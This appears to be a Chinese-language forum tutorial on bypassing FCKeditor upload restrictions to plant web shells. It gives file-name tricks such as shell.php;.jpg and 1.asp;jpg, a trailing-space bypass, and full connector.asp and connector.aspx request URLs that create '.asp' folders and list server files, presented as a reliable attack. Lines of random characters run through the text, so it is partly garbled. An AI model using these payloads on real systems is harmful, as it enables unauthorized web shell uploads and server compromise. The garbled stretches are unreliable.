很多时候上传的文件例如:shell.php.rar 或 shell.php;.jpg 会变为 shell_php;.jpg 这是新版 FCK 的变化,试试上传 1.asp;jpg! ^2 ?* k2 ?0 @" v, H9 [
2 k/ `# Q! N' v% `' T
提交 shell.php+空格 绕过,不过空格只支持 win 系统 *nix 是不支持的,shell.php 和 shell.php+空格 是 2 个不同的文件,未测试。
8 ]+ e% B$ v- F- d
* y3 R$ ]" i+ T7 F3 j2 C; X* q继续上传同名文件可变为 shell.php;(1).jpg,也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。1 n" A. w2 i: t, C+ M, b+ ?
, ?# @) X( N' S. P
突破建立文件夹:" j7 M* M8 ?) {: a- g; h6 z
9 z7 P D0 b0 s. L1 U# _editor/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/qing.asp&NewFolderName=x.asp
2 d4 {. B7 A( d$ M/ y# P2 N6 I# x4 \, R% _2 {+ g# `. \
参数:1 M2 h* k s" v- H! L" \( Q
4 k, Y+ v( y! \- C; m; W
当前目录名:CurrentFolder=/qing.asp
5 m- ~0 z: g: |$ h8 c6 y" ~2 W7 B' C0 ]$ b: | L, R, a
新的目录名:NewFolderName=x.asp5 n8 z6 O' P( e3 }/ j/ F+ k9 D
0 K+ u/ B, S# g/ z1 d- A
其实很简单,在目录那里写 x.asp,然后点击新建目录在弹出来的对话框中随便写……6 F! L2 u( v9 l2 d9 \" r
' Y6 a& Y, x- e8 W+ C那么 x.asp 就已经建立生成了,此方法百试百灵!
0 D3 z, B D G, S k; t' n! j w- `8 n' Y) d! C
新建文件夹参数 x.asp,基本都能搞定。
k! z$ r! F. m3 f3 G, Q
, O Z% V1 ^ F. B q$ C: J ?下面这句话是要在1.asp下建立2.asp,当不存在1.asp时会先创建,只过滤了目标目录的创建 而没有过滤不存在目录的创建7 B; |, d) ]% b5 K8 N) y
" N- o% m1 S& W- o! U' ~. F/ H
aspx/connector.aspx?Command=CreateFolder&Type=File&CurrentFolder=%2F1.asp&NewFolderName=2.asp6 x' {$ D) `4 s# x7 f
9 I* \; t3 ^5 g获取文件列表+ h. }: ] j& {3 }6 _" D( \
aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=%2F8 w/ M& s1 i/ v7 F" q
3 P% G4 j0 E) K4 P+ y3 I9 \7 n
|